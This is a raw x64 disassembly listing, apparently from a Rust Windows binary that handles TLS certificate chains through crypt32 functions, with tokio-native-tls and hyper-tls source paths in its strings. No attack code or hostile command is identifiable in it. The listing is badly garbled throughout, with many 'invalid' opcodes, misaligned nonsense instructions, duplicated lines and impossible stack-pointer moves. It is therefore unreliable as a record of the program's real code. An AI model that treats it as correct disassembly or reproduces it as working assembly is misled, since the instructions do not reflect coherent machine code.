cmp dl, 5
cmove ecx, r8d
movzx r14d, cl
cmp al, 5
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x30], r10
jne 0x1401081aa
mov ebx, 2
mov r12, r14
lea r15, [rdi + 0x208]
mov byte [rdi + 0x201], 1
mov qword [rdi + 0xd0], rbx
mov qword [rdi + 0xd8], r12
mov qword [rdi + 0xe0], r14
movaps xmm0, xmmword [rsp + 0x530]
movaps xmm1, xmmword [rsp + 0x540]
movups xmmword [rdi + 0xe8], xmm0
movups xmmword [rdi + 0xf8], xmm1
mov rax, qword [rsp + 0x550]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
lea r12, [rdi + 0x118]
lea rdx, [rsp + 0x120]
mov r8d, 0xe8
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rdi + 0x208], 2
je 0x1401083b3
mov rbx, qword [rdi + 0x208]
mov qword [rdi + 0x208], 2
cmp rbx, 2
je 0x14010915f
lea rax, [rdi + 0x210]
lea r15, [rdi + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rsp + 0x148], xmm2
movups xmmword [rsp + 0x138], xmm1
movups xmmword [rsp + 0x128], xmm0
lea rcx, [rsp + 0x160]
mov r8d, 0xe8
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x158], r13
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0x120]
call fcn.1401091f0
cmp qword [rsp + 0x250], 0
je 0x14010860b
mov r12, qword [rsp + 0x258]
mov r14, qword [rsp + 0x260]
cmp r12, 2
jne 0x1401088a9
mov r15d, 2
jmp 0x1401086b6
mov r15, qword [rsp + 0x258]
mov r14, qword [rsp + 0x260]
mov r13, qword [rsp + 0x268]
mov rbp, qword [rsp + 0x270]
movups xmm0, xmmword [rsp + 0x278]
movaps xmmword [rsp + 0x50], xmm0
mov r12, qword [rsp + 0x288]
lea rdx, [rsp + 0x290]
lea rbx, [rsp + 0x530]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x380], xmm0
lea rcx, [rsp + 0x648]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0xa0], xmm0
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x3b8]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp r15, 3
je 0x140108953
mov qword [rsp + 0x38], r12
lea rbx, [rdi + 0x208]
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x760]
lea rdx, [rsp + 0x3b8]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbx], 2
je 0x1401086fa
mov rcx, rbx
call fcn.140101330
xor eax, eax
mov qword [rsp + 0x30], rax
mov byte [rdi + 0x201], 0
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x4d0], xmm0
lea rcx, [rsp + 0xb00]
lea rdx, [rsp + 0x760]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x200], 1
cmp r15, 3
je 0x14010895b
movaps xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0x4a0], xmm0
lea rbx, [rsp + 0xbe8]
lea rdx, [rsp + 0xb00]
mov r8d, 0xe8
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x40]
mov byte [rax], 1
movaps xmm0, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0x4b0], xmm0
lea rcx, [rsp + 0x930]
mov r8d, 0xe8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp r15, 2
jne 0x140108805
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401087d2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x140103151.47
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je case.0x140103151.47
mov qword [rax], r14
lea r13, [0x1401d2e68]
mov r14, rax
cmp qword [rdi], 0
jne 0x140107f1c
jmp 0x140107f26
movaps xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x848]
lea rdx, [rsp + 0x930]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x38]
mov r12, qword [rsp + 0x30]
jmp 0x140108852
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x4c0], xmm0
lea rcx, [rsp + 0xa18]
lea rdx, [rsp + 0x848]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rdi], 0
je 0x14010888d
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rdi + 0x38], 0
jne 0x140107f3f
jmp 0x140107f52
movups xmm0, xmmword [rsp + 0x278]
movaps xmmword [rsp + 0x50], xmm0
mov r13, qword [rsp + 0x288]
lea rdx, [rsp + 0x290]
lea rbx, [rsp + 0x530]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm6, xmmword [rsp + 0x268]
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x380], xmm0
lea rcx, [rsp + 0x648]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rdi + 0x218], xmm6
movaps xmm0, xmmword [rsp + 0x380]
movups xmmword [rdi + 0x228], xmm0
mov qword [rdi + 0x238], r13
lea rdx, [rsp + 0x650]
mov r8d, 0xe8
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x208], r12
mov qword [rdi + 0x210], r14
mov qword [rdi + 0x240], 0
mov rax, qword [rsp + 0x30]
mov byte [rax], 4
mov rax, qword [rsp + 0x40]
mov byte [rax], 3
mov qword [rsi], 4
mov al, 4
mov byte [rdi + 0x49], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xcd0]
add rsp, 0xce8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0x3b8], 0
je 0x140108bec
mov rcx, qword [rsp + 0x3c0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0xe8], rax
mov ebx, 1
mov r12, qword [rsp + 0x3c8]
test r12, r12
mov qword [rsp + 0x48], rbx
je 0x140108c04
xchg byte [rax], al
add byte [rax], al
xchg byte [rax], al
add byte [rax], al
mov rbp, qword [rsp + 0x3d8]
mov eax, 2
test rbp, rbp
mov qword [rsp + 0xf0], rbp
je 0x140108bd2
mov rcx, rbp
shr rcx, 0x3e
jne 0x1401091e0
test dword [rbx], edi
invalid
add byte [rax], al
test dword [rbx], edi
invalid
add rbp, rbp
je 0x140108bd2
movzx eax, byte [0x1402153f8]
mov edx, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, rbp
call fcn.140013830
test rax, rax
jne 0x140108bd4
mov ecx, 2
mov rdx, rbp
call fcn.14015d7f0
ud2
xor ebp, ebp
mov rcx, rax
mov qword [rsp + 0x98], rax
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140108c0e
xor ebx, ebx
mov r12, qword [rsp + 0x3c8]
test r12, r12
mov qword [rsp + 0x48], rbx
jne 0x140108b7e
xor eax, eax
mov qword [rsp + 0x98], rax
movzx ebp, byte [rsp + 0x408]
movzx eax, byte [rsp + 0x409]
mov rbx, qword [rsp + 0x3e0]
test rbx, rbx
je 0x140108c45
mov rcx, qword [rsp + 0x3e8]
mov qword [rsp + 0xe0], rcx
lock inc qword [rbx]
jg 0x140108c45
ud2
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x270], xmm2
movaps xmmword [rsp + 0x260], xmm1
movaps xmmword [rsp + 0x250], xmm0
test r13, r13
mov byte [rsp + 0x2f], al
je 0x140108ce5
mov byte [rsp + 0x2e], bpl
lea rbp, [0x140204680]
test r15d, r15d
mov r13, qword [rsp + 0xf8]
cmovne rbp, r13
je 0x140108cff
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140108cc3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140108cd6
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140108d05
mov ecx, 1
mov rdx, r15
call fcn.14015d7f0
ud2
mov r12d, 1
xor r15d, r15d
mov rdx, qword [rsp + 0x3f0]
test rdx, rdx
jne 0x140108d2e
xor eax, eax
jmp 0x140108d5b
mov r12d, 1
mov rcx, r12
mov rdx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
movzx ebp, byte [rsp + 0x2e]
mov rdx, qword cs:[rsp + 0x3f0]
test rdx, rdx
je 0x140108cfb
mov r8, qword [rsp + 0x400]
lea rcx, [rsp + 0x120]
call fcn.140103640
mov rax, qword [rsp + 0x120]
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x4e0], xmm0
sub dword [rsp + 0x4e0], eax
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movups xmmword [rsp + 0x150], xmm2
movups xmmword [rsp + 0x140], xmm1
movups xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [rsp + 0x4e0]
sub byte [rsp + 0x4e0], al
movups xmmword [rsp + 0x230], xmm0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x120], rcx
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x128], rcx
add byte [rax], al
mov dword [rsp + 0x160], 0x10000
mov byte [rsp + 0x164], 0
mov qword [rsp + 0x178], r14
add byte [rax], al
mov qword [rsp + 0x180], 1
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x1a0], 1
movups xmmword [rsp + 0x1a8], xmm0
mov qword [rsp + 0x1b8], 0
mov qword [rsp + 0x1c0], r12
mov qword [rsp + 0x1c8], r15
mov esp, 0x1c824
invalid
mov qword [rsp + 0x1d0], r15
mov qword [rsp + 0x1d8], 0
movups xmmword [rsp + 0x1e0], xmm6
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x1f0], rcx
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], rcx
mov word [rax + rax], fs
add al, byte [rax]
add byte [rax - 0x77], cl
pushfq
and al, 8
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdx], fs
and al, 0x10
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax], al
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + riz], ah
and al, 0x20
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], rax
mov byte [rsp + 0x240], bpl
movzx eax, byte [rsp + 0x2f]
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add al, byte [rax]
add byte [rax - 0x78], al
lodsb al, byte [rsi]
and al, 0x40
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
mov byte [rsp + 0x241], al
mov word [rsp + 0x242], 0x100
lea rcx, [rsp + 0x250]
push rax
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [rsp + 0x120]
push rax
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [rsp + 0x120]
call fcn.1401091f0
call fcn.1401091f0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140108f2a
sal byte [rbx + rax*2 + 0x4c], 0x8b
movsb byte [rdi], byte [rsi]
and al, 0x58
add al, byte [rax]
add byte [rax - 0x75], cl
mov r12, qword [rsp + 0x258]
mov rbx, qword [rsp + 0x260]
pushfq
and al, 0x60
add al, byte [rax]
invalid
pushfq
and al, 0x60
add al, byte [rax]
add byte [rcx - 0x7d], cl
cmp esp, 2
je 0x140108f18
lea rdx, [rsp + 0x268]
add byte [rax], al
cmp r12, 2
je 0x140108f18
lea rdx, [rsp + 0x268]
add byte [rax - 0x73], cl
mov word [rax + riz], fs
and byte [rcx], al
invalid
lea rcx, [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
add byte [rcx - 0x48], al
sbb byte [rcx], al
add byte [rax], al
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0x120]
lea edx, [rsp + 0x120]
lea edx, [rsp + 0x120]
mov r12, qword [rsp + 0x258]
add byte [rax - 0x75], cl
pushfq
mov rbx, qword [rsp + 0x260]
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x530]
mov word [rax + rsi], fs
invalid
add byte [rax], al
and al, 0x60
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rsi], fs
add eax, 0xb8410000
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x3b8]
and al, 0xb8
add eax, dword [rax]
add al, ch
mov esi, 0x4cffffa9
dec dword [rbx + rcx*4 + 0x44]
and al, 0x68
invalid
add byte [rax - 0x73], cl
mov word [rax + rdi*4], fs
and al, 0xb8
add eax, dword [rax]
add al, ch
mov esi, 0x4cffffa9
dec dword [rbx + rcx*4 + 0x44]
and al, 0x68
dec dword [rbx + rcx*4 + 0x44]
and al, 0x68
test r8, r8
je 0x140108f83
cmp qword [rsp + 0x70], 0
je 0x140108f83
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add eax, 0x848b4c00
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rbx + 0x48], 0x83
invalid
mov esp, 0x8824
mov byte [rax], al
invalid
mov r8, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
test r8, r8
je 0x140108faa
cmp qword [rsp + 0x88], 0
cmp dword [rsp + 0x88], 0
mov byte [rax], al
add byte [rax], al
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140215360]
adc byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x140108faa
mov rcx, qword [0x140215360]
add byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x5f07e
adc eax, 0x5f07e
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x50
mov r15, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
test r13, r13
test ebp, ebp
je 0x140108fdf
xor ebp, ebp
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, qword [r15 + rbp*8]
cmp qword [rsp + 0x58], 0
je 0x140108ff9
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140215360]
or eax, 0x10c372
mov rcx, qword [0x140215360]
or eax, 0x10c372
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x5f02f
adc eax, 0x5f02f
lea rcx, [rsp + 0x648]
lea rdx, [rsp + 0x530]
and al, 0x30
invalid
add byte [rax], al
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x38
mov r14, rbx
je 0x14010909e
cmp r12, 2
je 0x14010831b
test ch, ch
invalid
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0x648]
add byte [rcx - 0x48], al
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rsi*2], ah
add al, byte [rax]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x550], rax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x120]
add byte [rcx - 0x48], al
call 0x128109090
xlatb
cmp al, byte [0x140124b97]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test byte [rax + rdx*2], ah
add eax, 0x8d480000
xchg esp, eax
and al, 0x80
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rcx - 0x48], al
call 0x128109090
xlatb
cmp al, byte [0x140124b97]
add byte [rax], al
invalid
add cl, ch
test edx, esi
invalid
jmp 0x140108323
lea rcx, [rsp + 0x250]
add byte [rax], al
lea rdx, [rsp + 0x648]
mov r8d, 0x118
add dword [rax], eax
invalid
add dword [rax], eax
add al, ch
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x250]
movups xmm1, xmmword [rsp + 0x260]
invalid
add al, byte [rax]
invalid
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x250]
movups xmm1, xmmword [rsp + 0x260]
invalid
add al, byte [rax]
invalid
movaps xmmword [rsp + 0x530], xmm0
movaps xmmword [rsp + 0x540], xmm1
mov rax, qword [rsp + 0x270]
and al, 0x40
add eax, 0x8b480000
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x550], rax
invalid
invalid
mov qword [rsp + 0x550], rax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + riz], fs
and byte [rcx], al
add byte [rax], al
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
invalid
sbb dl, dh
invalid
and byte [rcx], al
add byte [rax], al
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
jmp 0x140108323
mov edx, esi
call fcn.14015d7f0
fadd dword [rsi + 5]
add byte [rdi], cl
invalid
fadd dword [rsi + 5]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0xc946f
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401d2618]
mov edx, 0x1e
call fcn.140161290
ud2
invalid
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
add byte [rdx + 0x23], bh
add byte [rdx + 0x23], bh
add byte [rax], al
add al, ch
jle 0x140109150
call fcn.140160fb0
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
add byte [rax], al
mov ecx, 8
add byte [rax], al
add byte [rdx + 0x20], bh
add byte [rax], al
invalid
add byte [rax], al
mov edx, 0x20
add byte [rax], al
add al, ch
xchg ebx, eax
add eax, 0x480b0f00
lea ecx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
invalid
call fcn.14015d7f0
ud2
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401d7c20]
mov bl, 0xea
or al, 0
mov edx, 0x1e
call fcn.140161290
invalid
invalid
add byte [rdi], cl
invalid
add al, ch
sbb dword [rcx + 0xb0f0005], eax
invalid
invalid
add byte [rdi], cl
invalid
add dword [0x1881ba07e], 0x95e00d8d
or al, 0
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401d3580]
movabs dword [0xe800000023ba000c], eax
invalid
or al, 0
mov edx, 0x23
call fcn.140160fb0
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
invalid
add byte [rdi], cl
invalid
or ecx, dword [rax - 0x73]
or eax, 0xc95a4
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401d35e0]
or al, 0
mov edx, 0x23
call fcn.140160fb0
jrcxz case.0x140103151.49
invalid
add byte [rdi], cl
invalid
jrcxz case.0x140103151.49
add eax, 0xb90b0f00
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x18], bh
mov edx, 0x18
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
int3
push rbx
sub rsp, 0x38
mov rdi, rdx
mov rsi, rcx
lea rcx, [rsp + 0x20]
call fcn.1401060c0
cmp dword [rsp + 0x20], 2
jne case.0x140105a85.20
mov rbx, qword [rsp + 0x28]
mov r14d, ebx
and r14d, 3
lea rax, [0x14020ab4c]
movsxd rcx, dword [rax + r14*4]
invalid
or al, 0xb0
add rcx, rax
sar edi, 0xe1
invalid
sar edi, 0xe1
movzx eax, byte [rbx + 0x10]
cmp al, 0xd
je 0x140109295
jmp fcn.14010932a
lea rcx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp dword [0x146d7da4e], eax
add byte [rax], al
add byte [rax], al
cmp dword [0x146d7da4e], eax
add eax, 0x6c74800
add byte [rax], al
add byte [rax], al
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsi], 1
jmp 0x1401092b4
lea rcx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
mov dword [rsi], 1
mov dword [rsi], 1
cmp r14d, 1
jne 0x140109252
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
or byte [rax], al
or byte [rax], al
je 0x1401092e9
cmp qword [rbx + 0x10], 0x11
jb 0x1401092d7
mov ecx, dword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140109252
sub byte [rdi + 0x5e], bl
ret
add byte [rax], al
mov rdi, rax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
mov r15, qword [rbp - 0x18]
inc r15
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
out dx, eax
invalid
invalid
out dx, eax
add eax, 0xc468b00
mov eax, dword [rsi + 0xc]
cmp r15, rax
jae 0x1401095b8
mov rax, qword [rsi + 0x10]
test rax, rax
test eax, eax
test eax, eax
je 0x1401095b8
mov qword [rbp - 0x18], r15
mov rax, qword [rax + r15*8]
mov rcx, qword [rax + 8]
call rdi
mov r14, rax
mov rcx, rbx
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1401094f0
nop word [rax + rax]
mov r12, rax
mov rcx, rax
call rdi
mov r15, rax
mov r8d, dword [r12 + 0x10]
cmp r8d, dword [r14 + 0x10]
jne 0x14010958b
mov rcx, qword [r12 + 8]
mov rdx, qword [r14 + 8]
call sub.VCRUNTIME140.dll_memcmp
mov r13d, eax
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r13d, r13d
je 0x140109596
mov rcx, rbx
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x140109540
jmp 0x1401094f0
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x140109575
mov rcx, r15
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
xor edi, edi
jmp 0x1401096df
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401095ee
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401096fd
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x3f
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401096fd
mov rdi, rax
movups xmm0, xmmword [0x1401d27b2]
movups xmmword [rax + 0x2f], xmm0
movups xmm0, xmmword [0x1401d27a3]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1401d2793]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401d2783]
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
jne 0x14010965f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010970e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010970e
mov rsi, rax
mov esi, eax
mov qword [rax], rdi
mov qword [rax + 8], 0x3f
mov qword [rax + 0x10], 0x3f
movzx eax, byte [0x1402153f8]
add eax, 0x10bd65
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401096b4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
add eax, 0xc0854800
je 0x14010971f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rax - 0x7b], cl
invalid
je 0x14010971f
mov rdi, rax
mov qword [rax], rsi
mov dword [rax], esi
lea rax, fcn.140022090
mov qword [rdi + 8], rax
or dh, al
adc byte [r15], r12b
inc rdi
mov rcx, qword [rbp - 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rax, rdi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 1
mov edx, 0x3f
invalid
add byte [rax], al
invalid
invalid
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp - 8], rsi
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
clc
call fcn.1401372e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rcx], 3
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 8], xmm0
mov byte [rdx + 0x10], 1
mov rax, rcx
add rsp, 0x28
ret
or al, 0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
call fcn.140160fb0
ud2
int3
int3
jne 0x140109882
lea rcx, [rsi + 0x70]
call fcn.14010d390
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
jne case.0x140103f8e.173
mov rcx, qword [rsi + 0x58]
call fcn.1400a6150
stc
invalid
stc
dec dword [rax - 0x75]
invalid
invalid
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
jne 0x140109882
invalid
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140069a20
nop
add rsp, 0x28
invalid
invalid
invalid
pop rdi
pop rsi
ret
dec qword [rax]
je 0x1401098fe
mov rax, qword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
lock dec qword [rax]
je 0x140109911
cmp byte [rsi], 2
jb 0x1401098cb
add dh, byte ds:[rdx + 0x28]
mov rdi, qword [rsi + 8]
jle case.0x1400e8b28.159
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
